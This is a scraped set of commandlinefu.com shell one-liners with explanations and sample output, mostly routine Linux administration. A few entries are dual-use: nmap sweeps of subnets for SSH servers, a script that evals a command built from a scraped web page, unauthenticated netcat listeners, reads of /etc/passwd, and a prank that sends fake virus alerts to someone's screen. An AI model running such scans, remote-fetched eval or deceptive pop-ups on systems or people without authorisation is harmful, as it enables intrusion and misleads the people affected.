user@sshserver $(cd /tmp; tar --lzma -xf -) Functions: cd ssh tar send a file or directory via ssh compressing with lzma for low trafic curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-9000:25] | grep -vE "_curl_|\.com by David" > clf-ALL.txt [1/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/0 --> <stdout> [2/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/25 --> <stdout> [3/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/50 --> <stdout> [4/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/75 --> <stdout> [5/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/100 --> <stdout> [6/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/125 --> <stdout> [7/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/150 --> <stdout> Save all commands from commandlinefu.com to plain text sort by vote Faster then other method using wget For obtain all commands use nu=`curl http://www.commandlinefu.com/commands/browse |grep -o "Terminal - All commands -.*results$" | grep -oE "[[:digit:],]{4,}" | sed 's/,//'`; curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-"$nu":25] | grep -vE "_curl_|\.com by David" > clf-ALL.txt For more version specific nu=`curl http://www.commandlinefu.com/commands/browse |grep -o "Terminal - All commands -.*results$" | grep -oE "[[:digit:],]{4,}" | sed 's/,//'`; curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-"$nu":25] | grep -vE "_curl_|\.com by David" > clf-ALL_"$nu".txt Also download dirctly from my dropbox My drop box invitaion link is http://db.tt/sRdJWvQq . Use it and get free 2.5 GB space. tr "[:upper:]" "[:lower:]" < file user 'tr' to convert mixed case in a file to lower case convert mixed case in a file to lower case find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g' Functions: cut echo find grep read sed sort Sort movies by length, longest first handles file names with spaces and colons, fixes sort (numeric!), uses mplayer, same output format as other alternatives find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f ./file.cpp ./file.c ./file.h Find C/C++ source files Find C/C++ source files and headers in the current directory. quietly() { "$@" > /dev/null 2>&1; } quietly "/path that may contain spaces/command" "arg 1" "arg 2" This works even if there are spaces in any word in the command line. grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " " Functions: grep sed tr uniq display a one-liner of current nagios exit statuses. great with netcat/irccat alias cal='cal | grep --color=auto -E "( |^)$(date +%e)|$"' Colored cal output perl -pi -e 's/THIS/THAT/g' fileglob* modify a file in place with perl changes THIS to THAT in all files matching fileglob* without using secondary files curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>" # Input:$ shorten http://bijayrungta.com # Output below: "errorCode": 0, "errorMessage": "", "results": { "statusCode": "OK" Shorten any Url using bit.ly API, using your API Key which enables you to Track Clicks I have it as a Function in my .bash_aliases [code] shorten () longUrl=$1; curl " [/code] Here is an Output showing the Function Detail.. [konsole] bijay@bijay:$ type shorten shorten is a function [/konsole] shopt -s checkwinsize type a reasonably long command, such as something simple like this: echo "an exceedingly long command that's much longer than the current window size. Something that you know will wrap around". to see the over-write. Stop long commands wrapping around and over-writing itself in the Bash shell add the command either in /etc/profile or ~/.bash_profile so that this is available to your shell. !-2 && !-1 history manipulation make make install apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user" git; su git -c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init < ~/.ssh/id_rsa" Functions: apt install su After, check if working by executing this command locally : git clone git@192.168.0.18:repositories/gitosis-admin.git Tutorial : http://blog.hemca.com/?p=560 ‹ First < 126 127 128 129 130 > Last › ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3 Record MP3 audio via ALSA using ffmpeg Record audio to an MP3 file via ALSA. Adjust -i argument according to arecord -l output. find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}' Functions: awk find sort tail Serve the current directory at http://localhost:8000/ "this command line isn't mine but i find it very useful" ^^ This one-liner starts a dedicated server hosting (web server) on port 8000 with the contents of current directory on all the interfaces (address 0.0.0.0), not just localhost. If you have "index.html" or "index.htm" files, it will serve those, otherwise it will list the contents of the currently working directory. It works because python comes with a standard module called SimpleHTTPServer. The -m argument makes python to search for a module named SimpleHTTPServer.py in all the possible system locations (listed in sys.path and $PYTHONPATH shell variable). Once found, it executes it as a script. If you look at the source code of this module, you'll find that this module tests if it's run as a script if __name__ == '__main__', and if it is, it runs the test() method that makes it run a web server in the current directory. acpi -b Battery 0: Discharging, 93%, 02:24:02 remaining The original proc file doesn't exist on my system. nmap -p 22 --open -sV 192.168.2.0/24 Get a list of ssh servers on the local subnet Scan the local network for servers who have the ssh port open. echo -n "password"|md5sum|awk '{print $1}' echo -n "password"|md5sum|awk '{print $1}' 5f4dcc3b5aa765d61d8327deb882cf99 Generate Sha1, MD5 hash using echo This is mostly for my own notes but this command will compute a md5 message digest from the command line. You can also replace md5sum with other checksum commands (e.g., sha1sum) pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar dump database from postgresql to a file cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f & Flips the y-axis to emulate a real mirror, uses low resolution for speed, this will also hide blemishes and the like :) seq -f"%g^2" -s "+" 10 | bc Calculate 1**2 + 2**2 + 3**2 + ... cat *.mpg > all.mpg Combine all .mpeg files in current directory into one big one. Good old cat & output redirection. Using this method you can combine all kinds of things - even mpeg files. My video camera makes a series of .mpeg files that are broken into 4gb chunks. Using this command I can easily join them together. Even better, combined with the cp command the files can be copied and joined in one step. perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log show the real times iso of epochs for a given column When you have one of those (log)files that only has epoch for time (since no one will ever look at them as a date) this is a way to get the human readable date/time and do further inspection. Mostly perl-fu :-/ munpack file.txt will decode a mime message. usefull when you receive some email and file attachment that cant be read. find . -name '*.?pp' | xargs grep -H "string" pbrannan@random:~/git/rice> find . -name '*.?pp' | xargs grep -H include.*map ./rice/Data_Type_defn.hpp:#include <map> ./sample/map/map.cpp:#include <map> ./test/test_Hash.cpp:#include <map> ./test/unittest.cpp:#include <map> Recursive grep of all c++ source under the current directory I like this better than some of the alternatives using -exec, because if I want to change the string, it's right there at the end of the command line. That means less editing effort and more time to drink coffee. echo "e("{1..8}");" | bc -l Generate trigonometric/log data easily echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY" Functions: echo wget "I Feel Lucky" for Google Images prompts for a search term and then pulls down the first result from google images xwininfo xwininfo: Please select the window about which you xwininfo: Window id: 0x36085d7 "mc - /etc - Terminal" Absolute upper-left X: 1096 Absolute upper-left Y: 24 Relative upper-left X: 5 -geometry 80x62-0+0 Find A lot of X applications accept --geometry parameter so that you can set application size and position. But how can you figure out the exact arguments for --geometry? Launch an application, resize and reposition its window as needed, then launch xwininfo in a terminal an click on the application window. You will see some useful window info including its geometry. xset r rate 250 120 Speed up the keyboard repeat rate in X server cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq Functions: cat cut egrep sed sort tr Get Unique Hostnames from Apache Config Files Get a list of all the unique hostnames from the apache configuration files. Handy to see what sites are running on a server. A slightly shorter version. paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print $4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t 65120.00K gcc 66452.00K python 68012.00K chromium-dev 68192.00K smbclient 68804.00K mysql 70392.00K python2 71644.00K kdelibs 72196.00K firefox-pgo 73672.00K nvidia-utils 82684.00K xulrunner 92388.00K plan9port 96380.00K jre 111932.00K qt 115872.00K kernel26 148360.00K acroread 301619.00K libreoffice [me@arch ~/bin] Functions: awk column grep paste sort xargs Arch Linux sort installed packages by size This one-liner will output installed packages sorted by size in Kilobytes. rename 's/foo/bar/g' ./* thisFileIsCalledDAVE $ rename 's/DAVE/PETE/g' ./* thisFileIsCalledPETE Would this command line achieve the desired function? My CLI knowledge is not great so this could certainly be wrong. It is merely a suggestion for more experienced uses to critique. Best wishes roly :-) meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc) compare two Microsoft Word documents http://meld.sourceforge.net/ http://www.winfield.demon.nl/ sort -R file.txt | head -1 svn log --revision {`date +%Y-%m-%d`}:HEAD show todays svn log Shows the todays svn log. Perfect for alias usage I assume. cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1 $ pronounce bodhisattva [ You hear a voice ] $ pronounce asdfasdfasdf || echo "Sorry, I can't say that." Sorry, I can't say that. Functions: eval exit sed wget Looks up a word on merriam-webster.com, does a screen scrape for the FIRST audio pronunciation and plays it. USAGE: Put this one-liner into a shell script (e.g., ~/bin/pronounce) and run it from the command line giving it the word to say: pronounce lek If the word isn't found in merriam-webster, no audio is played and the script returns an error value. However, M-W is a fairly complete dictionary (better than howjsay.com which won't let you hear how to pronounce naughty words). ASSUMPTIONS: GNU's sed (which supports -r for extended regular expressions) and Linux's aplay. Aplay can be replaced by any program that can play .WAV files from stdin. KNOWN BUGS: only the FIRST pronunciation is played, which is problematic if you wanted a particular form (plural, adjectival, etc) of the word. For example, if you run this: pronounce onomatopoetic you'll hear a voice saying "onomatopoeia". Playing the correct form of the word is possible, but doing so might make the screen scraper even more fragile than it already is. (The slightest change to the format of m-w.com could break it). xrandr -s 0 Recover resolution when a fullscreen program crashes and you're stuck with a tiny X resolution This forces X back to its maximum resolution configured. To get a list, type `xrandr'. ‹ First < 127 128 129 130 131 > Last › lsof | egrep "^COMMAND|deleted" List all the files that have been deleted while they were still open. If your customer deletes a file that is still in use by a process, that space does not get freed up (will not show up in df) until that process either closes the file on its own, or is killed. skype --disable-cleanlooks -style GTK Run skype using your GTK theme I use this to make skype blend better into my desktop :) --disable-cleanlooks might not be nescessary to achieve the wanted effect. find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}' 9.1168e+09 # (9G, paste in calc for easy reading) Just how much space are those zillions of database logs taking up ? How much will you gain on a compression rate of say 80% ? This little line gives you a good start for your calculations. blockdev --setra 1024 /dev/sdb # Before test $ blockdev --getra /dev/sdb 256 $ time dd if=/tmp/disk.iso of=/dev/null bs=256k 2549+1 records in 2549+1 records out 668360704 bytes (668 MB) copied, 6,84256 seconds, 97,7 MB/s real 0m6.845s sys 0m0.865s # After test $ blockdev --setra 1024 /dev/sdb 2435+1 records in 2435+1 records out 638390272 bytes (638 MB) copied, 0,364251 seconds, 1,8 GB/s real 0m0.370s user 0m0.001s sys 0m0.370s (WARN) This will absolutely not work on all systems, unless you're running large, high speed, hardware RAID arrays. For example, systems using Dell PERC 5/i SAS/SATA arrays. If you have a hardware RAID array, try it. It certainly wont hurt. You may be can test the speed disk with some large file in your system, before and after using this: time dd if=/tmp/disk.iso of=/dev/null bs=256k To know the value of block device parameter known as readahead. blockdev --getra /dev/sdb And set the a value 1024, 2048, 4096, 8192, and maybe 16384... it really depends on the number of hard disks, their speed, your RAID controller, etc. (see sample) setarch i386 [command [args]] $ setarch i386 ./flashplayer-installer Copyright(C) 2002-2009 Adobe Macromedia Software LLC. All rights reserved. Adobe Flash Player 10 for Linux Adobe Flash Player 10 will be installed on this machine. You are running the Adobe Flash Player installer as the "root" user. Adobe Flash Player 10 will be installed system-wide. Support is available at http://www.adobe.com/support/flashplayer/ To install Adobe Flash Player 10 now, press ENTER. To cancel the installation at any time, press Control-C. NOTE: Please exit any browsers you may have running. Press ENTER to continue... Please enter the installation path of the Mozilla, Netscape, or Opera browser (i.e., /usr/lib/mozilla): /usr/lib/swiftfox ----------- Install Action Summary ----------- Adobe Flash Player 10 will be installed in the following directory: Browser installation directory = /usr/lib/swiftfox Proceed with the installation? (y/n/q): Y Installation complete. Perform another installation? (y/n): n Please log out of this session and log in for the changes to take effect. The Adobe Flash Player installation is complete. force unsupported i386 commands to work on amd64 The above was done using the i386 flashplayer plugin, and was installed on a AMD64 machine running an AMD64 kernel and AMD64 programs. the resulting plugin install ultimately didn't work for swiftfox (but worked for iceweasel) without also covering it with a nspluginwrapper which took a bit of fenangaling to get to work (lots of apt-getting) but it is a nice feature to be able to trick installers that think you need i386 into running on a amd64, or at least attempting to run on amd64. Enjoy find . -mmin -60 -not -path "*svn*" -print|more Find files recursively that were updated in the last hour ignoring SVN files and folders. Find files recursively that were updated in the last hour ignoring SVN files and folders. Incase you do a full svn up on accident. perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse' more numberfile 34234324324234 9438752687324713254275341234 32476 325379846846524395732 perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse' numberfile 34,234,324,324,234 9,438,752,687,324,713,254,275,341,234 32,476 325,379,846,846,524,395,732 Comma insertions Insert a comma where necessary when counting large numbers. I needed to separate huge amounts of packets and after 12+ hours of looking in a terminal, I wanted it in readable form. function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi } $ mkdir .undo $ svnundopoint $ ls .undo 2009-03-27_08:08:11rev57 stat_2009-03-27_08:08:11rev57 # HACK HACK HACK $ ls .undo/ 2009-03-27_08:09:57rev57 stat_2009-03-27_08:09:57rev57 Functions: cut echo grep info Create subversion undo point Allows you to save progress without committing. To revert to an undo point, svn revert then apply the undo point with patch. svn revert -R . && patch -p0 < .undo/2009-03-27_08:08:11rev57 Similar: http://www.commandlinefu.com/commands/view/373/archive-all-files-containing-local-changes-svn echo -n "text" | od -A n -t x1 |sed 's/ /\\x/g' \x74\x65\x78\x74 Functions: echo od sed Convert ascii string to hex If you're going to use od, here's how to suppress the labels at the beginning. Also, it doesn't output the \x, hence the sed command at the end. Remove it for space separated hex values instead grep ^[^#] /etc/file.conf Remove comments and empty lines from a conf file Some conf file are very long (squid.conf) This command help to read it. cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; ); echo "$cmd" works from command line sed 's/^M$//' input.txt > output.txt Convert DOS newlines (CR/LF) to Unix format Convert DOS newlines (CR/LF) to Unix format using sed command git show --relative --pretty=format:'' --name-only HASH Show (only) list of files changed by commit Lists ONLY the files changed by the given HASH/HEAD/list of hashes, etc. The message, commit ID, author, etc. is not included cat /etc/passwd | column -nts: root x 0 0 root /root /bin/bash bin x 1 1 bin /bin /sbin/nologin daemon x 2 2 daemon /sbin /sbin/nologin Functions: cat column format txt as table xml2 < file.xml | grep ^/path/to/element | cut -f2- -d= poor man's xml parser :) cat /dev/mem > /dev/audio listen to ram aptitude remove ?and(~i~nlinux-(im|he) ?not(~n`uname -r`)) A little aptitude magic. Note: this will remove images AND headers. If you just want to remove images: aptitude remove ?and(~i~nlinux-im ?not(~n`uname -r`)) I used this in zsh without any problems. I'm not sure how other shells will interpret some of the special characters used in the aptitude search terms. Use -s to simulate. nmap -p 22 10.3.1.1/16 | grep -B 4 "open" Nmap scan report for 10.3.X.X PORT STATE SERVICE 22/tcp open ssh Host is up (0.00012s latency). --open -sV is not needed if you are only looking for hosts with 22 open pdfnup --nup 2x1 --frame true --landscape --outfile output.pdf input.pdf pdfjam: This is pdfjam version 2.05. pdfjam: Reading any site-wide or user-specific defaults... pdfjam: Effective call for this run of pdfjam: pdfjam: Calling pdflatex... pdfjam: Finished. Output was to 'output.pdf'. Transform a portrait pdf in a landscape one with 2 pages per page This is an example of the usage of pdfnup (you can find it in the 'pdfjam' package). With this command you can save ink/toner and paper (and thus trees!) when you print a pdf. This tools are very configurable, and you can make also 2x2, 3x2, 2x3 layouts, and more (the limit is your fantasy and the resolution of the printer :-) You must have installed pdfjam, pdflatex, and the LaTeX pdfpages package in your box. find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix" find string into one pdf file netstat -ntlp | grep -w 80 | awk '{print $7}' | cut -d/ -f1 get a process list by listen port git diff --numstat | awk '{if ($1 == "0" && $2 == "0") print $3}' | xargs git checkout HEAD Functions: awk diff xargs (Git) Revert files with changed mode, not content I sometimes (due to mismanagement!) end up with files in a git repo which have had their modes changed, but not their content. This one-liner lets me revert the mode changes, while leaving changed-content files be, so I can commit just the actual changes made. curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?' HTTP/1.1 200 OK Date: Sun, 07 Feb 2010 02:29:19 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch7 Content-Length: 20 Connection: close good 189.102.222.232[mm@localhost ~]$ OpenDns IP update via curl Your IP is resolved by OpenDns Server (like a caller ID telephone, every server knows who is calling ;-) Change user:password by yours Be Happy mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames Extracting frames from a video as jpeg files This command extracts 10 seconds worth of frames, starting from 00:15:45 position, from filename.avi and stores them into out_frames folder as jpeg files. Subtitles are turned off with -sid 999 option. ‹ First < 128 129 130 131 132 > Last › find . -type f -exec chmod -x {} \; remove execute bit only from files. recursively wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))' ~ Change to $HOME - zsh, bash4 To change to $HOME in that manner you need to set a shell option. In zsh it is auto_cd, hence setopt -o auto_cd in bash4 it is autocd, hence shopt -s autocd What the option does is allow you to cd to a directory by just entering its name. This also works if the directory name is stored in a variable: www=/var/www/lighttpd; $www sends you to /var/www/lighttpd. CAUTION: If a command or function name identical to the directory name exists it takes precedence. for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target Functions: ln ls Symlink all files from a base directory to a target directory Symlinks all files in the base directory to the target directory then lists all of the created symlinks. rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest Functions: find rsync ssh rsync from source to dest all between >30 find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+ Change files case, without modify directories, recursively Change files case, without modify directories, recursively. ... fucking vfat cut -f N- file.dat Print all fields in a file/output from field N to the end of the line mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons $ ls myicons/a[b-g]* myicons/abiword_48.png myicons/accessories-calculator.png myicons/acrobat.png myicons/abiword.png myicons/accessories-calculator.svg myicons/acroread.png myicons/about_kde.png myicons/accessories-character-map.png myicons/acroread.svgz myicons/about_kde.svgz myicons/accessories-character-map.svg myicons/add.png myicons/abrt00.png myicons/accessories-dictionary.png myicons/address-book-new.png myicons/abrt01.png myicons/accessories-dictionary.svg myicons/address-book-new.svg myicons/abrt02.png myicons/accessories-text-editor.png myicons/add.svgz myicons/abrt03.png myicons/accessories-text-editor.svg myicons/advanced-directory.png Functions: cp find mkdir xargs Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit) Today I needed to choose an icon for an app. My simpler way: put all of /usr/share/icons in myicons folder and brows'em with nautilus. Then rm -r 'ed the entire dir. mysql -u[username] -p[password] [nome_database] -B -e "SELECT * FROM [table] INTO OUTFILE '/tmp/ca.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n'; how to export a table in .csv file Exports the result of query in a csv file cvs -Q status | grep -i locally Functions: cvs grep List only locally modified files with CVS mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \; Functions: cp find mkdir In other way of xargs, only with find -exec setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,es use SHIFT + ALT to toggle between two keyboard layouts change the last two-character abbreviation to any layout abbreviation you want. This command will only run in the current session, add to your ~/.bashrc to make this permanent. tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz / Simple complete system backup excluding files or directories You can exclude more system folders or individual files which are not necessary for the backup and can be recreated after the restore procedure, like /lost+found, /mnt, /media, /tmp, /usr ... Restoring the above backup procedure is as simple as becoming root and typing: tar zxpf backup.tgz -C / You can extract any file or directory out of the backup.tgz file for recovery, for instance, if you have a corrupt or mis-configured fstab file, you could simply issue the command: tar zxpf backup.tgz /ect/fstab -C / Other options: v add verbose option to see files processed A far safer solution is to restore the desired files under a different directory, and then compare, move, or update the files to their original locations afterward. lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out Example output of a kernel doing TCP/IP work Count indv cuml rcnt nsec CPU+PIL Caller Lockstat will sample the kernel 977 times per second, and print out the functions that it sees executing on the CPU during the sample. The -s 10 switch tells lockstsat to not only print that function, but also show the call stack (up to 10 deep). sudo grub-install --recheck /dev/sda1 Reinstall Grub watch -n 10 'du -sk testfile' Lists the size of certain file in every 10 seconds watch is a command especially designed for doing this job changing_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed #{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk '{print $2}' | sed s_#{preprod_release_dir}/web__` /css/app_facebook.css /css/cupertino/jquery-ui-1.7.2.custom.css /css/fan_css.css /css/main.css Functions: awk grep sed sync Get the list of local files that changed since their last upload in an S3 bucket Can be useful to granulary flush files in a CDN after they've been changed in the S3 bucket. ls -t1 | head -n1 Print the last modified file for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done Connect to all running screen instances There was another line that was dependent on having un-named screen sessions. This just wouldn't do. This one works no matter what the name is. A possible improvement would be removing the perl dependence, but that doesn't effect me. watch 'netstat -aniv' Kernel Interface table Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg Monitor RX/TX packets and any subsquent errors flac --best *.wav nick@mylaptop:~/music/ams$ flac --best *.wav 20091111_binaural_beats_sine_alpha_10.3Hz.wav: wrote 1925701 bytes, ratio=0.177 20091111_binaural_beats_sine_beta_26Hz.wav: wrote 1925211 bytes, ratio=0.177 convert wav files to flac cd to the folder containing the wav files, then convert them all to flac. yeah baby! in ubuntu, to get the flac program just: sudo apt-get install flac flac file input formats are wav, aiff, raw, flac, oga and ogg tail -f error_log | nc -l 1234 Tail a log-file over the network Netcat is used to serve a log-file over a network on port 1234. Point a browser to the specified server/port combo to view log-file updates in real-time. ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' -w -" | wireshark -k -i - HTTP GET request on wireshark remotly oggenc *.wav nick@mylaptop:~/music/ams$ oggenc -a Nickleus -l http://nickleus.com *.wav Opening with wav module: WAV file reader Encoding "20091111_binaural_beats_sine_alpha_10.3Hz.wav" to at quality 3.00 Done encoding file "20091111_binaural_beats_sine_alpha_10.3Hz.ogg" convert wav files to ogg cd to the folder containing the wav files and convert them all to ogg format. in my sample output i use the -a and -l flags to set the author and album title. to get the oggenc program in ubuntu linux run: sudo apt-get install oggenc kill HUP `pidof '/usr/bin/X'` Restart X11 with HUP signal ‹ First < 129 130 131 132 133 > Last › (on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever; The simplest way to transport information over a network Einstein's razor: As simple as possible, but not simpler. On the destination machine netcat listens on any port (1234 in the example) and sends anything it receives into a file or pipe. On the source machine a separate netcat takes input from a file or pipe and sends it over the network to the listener. This is great between machines on a LAN where you don't care about authentication, encryption, or compression and I would recommend it for being simpler than anything else in this situation. Over the internet you should use something with better security. smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done ) > smenu "First item to paste,Paste me #2,Third menu item" 1) First item to paste 2) Paste me #2 3) Third menu item #? Shell function to create a menu of items which may be inserted into the X paste buffer. The function will take a comma separated list of items to be 'selected' by xsel -i: smenu "First item to paste,Paste me #2,Third menu item" You will then be prompted to choose one of the menu items. After you choose, you will be able to paste the string by clicking the middle mouse button. The menu will keep prompting you to choose menu items until you break out with Control-C. ffmpeg -i broken.flv -acodec copy -vcodec copy fixed.flv fix flash video (flv) file (ffmpeg) Rebuild flv files that are broken (can't seek). This method probably works for other video/audio formats that can become broken in the same way. for f in * ; do [ -f $f ] && openssl enc -aes-256-cbc -salt -in $f -out $f.enc -pass file:/tmp/password-file ; done Encrypt every file in the current directory with 256-bit AES, retaining the original. The password is stored in the password file, which obviously must be kept secure, encrypted later with gpg, deleted, or whatever you prefer. To decrypt: openssl enc -d -aes-256-cbc -salt -in filename.enc -out filename -pass file:/path/to/password-file Alternative ciphers can be used, of course. for file in *.png; do convert "$file" "$(basename $file .png).gif"; done Convert PNG to GIF Convert all .png files to .gif. This can also go the other way if you reverse the file extensions in the command, e.g.: for file in *.gif; do convert "$file" "$(basename $file .gif).png"; done If the file is named 'example1.png' it will be named 'example1.gif' when it is complete. command W :execute ':silent w !sudo tee % > /dev/null' | :edit! Calls sudo tee like all the other lines, but also automatically reloads the file. Optionally you can add command Wq :execute ':W' | :q command WQ :Wq to make quitting easier cd /some/empty/folder/website_diffs/sitename && wget -N http://domain.com/ 2>&1 |grep -q "o newer" || printf "Sites web page appears to have updated.\n\nSuggest you check it out.\n\n"|mail -s "Sites page updated." david@email.com Functions: cd grep mail printf wget Email someone if a web page has been updated. A cronjob command line to email someone when a webpages homepage is updated. while : ; do if [ ! $(ls -l commander | cut -d ' ' -f5) -eq 0 ]; then notify-send "$(less commander)"; > commander; fi; done Functions: cut ls pop-up messages on a remote computer Run this command when you are physically at the computer you wish to send pop-up messages to. Then when you ssh in to it, you can do this: echo "guess who?" > commander guess who? will then pop up on the screen for a few moments, then disappear. You will need to create the commander file first. I mess with my wife all the time with this. i.e. echo "You have given the computer a virus. Computer will be rendered useless in 10 seconds." > commander lol gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers -type f | shuf -n1)" [desktop background image changes] Set random background image in gnome Changes your desktop background image in gnome. Update the directory to wherever you keep your wallpapers. I like to create a sub-directory in my Wallpaper folder called "cycle" that I use to define the wallpapers I wish to loop in cron. ex: gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers/cycle -type f | shuf -n1)" dc3dd progress=on bs=512 count=2048 if=/dev/zero of=/dev/null shell# dc3dd progress=on bs=512 count=10240 if=/dev/zero of=/dev/null warning: sector size not probed, assuming 512 dc3dd 6.12.3 started at 2010-01-12 16:50:09 -0600 command line: dc3dd progress=on bs=512 count=10240 if=/dev/zero of=/dev/null compiled options: DEFAULT_BLOCKSIZE=32768 sector size: 512 (assumed) 4042752 bytes (3.9 M) copied (77%), 1.71043 s, 2.3 M/s [trimmed.....] 10240+0 sectors in 10240+0 sectors out 5242880 bytes (5 M) copied (100%), 2.01894 s, 2.5 M/s dc3dd completed at 2010-01-12 16:50:11 -0600 Copy a file using dc3dd and watch its progress (very nice alternative to dd) Requires the dc3dd package - available at http://dc3dd.sourceforge.net echo ondemand | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor using tee to echo to a system file with sudo privileges We sometimes need to change kernel parameters by echoing the file . This needs root privilege and if we do it using sudo like this , it fails sudo echo ondemand > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor -bash: /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor: Permission denied We can achieve this with the tee command by just doing sudo without logging as root user http://www.zaman4linux.in/2010/09/using-tee-to-echo-to-system-file-with.html wvPDF test.doc test.pdf sudo apt-get install wv tetex-extra ghostscript ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_" $ # before $ ls -1 big world keeps turning bye bye fred $ ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_" $ # after big_world_keeps_turning bye_bye hello_world Functions: awk grep ls rename sh Convert embedded spaces in filenames to "_" (underscore) This command converts filenames with embedded spaces in the current directory replacing spaces with the underscore ("_") character. termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';} $ for cap in `infocmp -1q|sed 's/ *//g'|grep -v '#\||' |cut -d= -f1|tr "\n" ' '`; do echo "$cap: `termtrace $cap 5`"; done bel: "\7" blink: "\33[5m" bold: "\33[1m" cbt: "\33[Z" civis: "\33[?25l" clear: "\33[H\33[2J" cnorm: "\33[?12l\33[?25h" cr: "\r" csr: "\33[6;1r" cub: "\33[5D" cub1: "\10" cud: "\33[5B" cud1: "\n" cuf: "\33[5C" cuf1: "\33[C" cup: "\33[6;1H" cuu: "\33[5A" cuu1: "\33[A" cvvis: "\33[?12;25h" dch: "\33[5P" dch1: "\33[P" dl: "\33[5M" dl1: "\33[M" ech: "\33[5X" ed: "\33[J" el: "\33[K" el1: "\33[1K" flash: "\33[?5h" "\33[?5l" home: 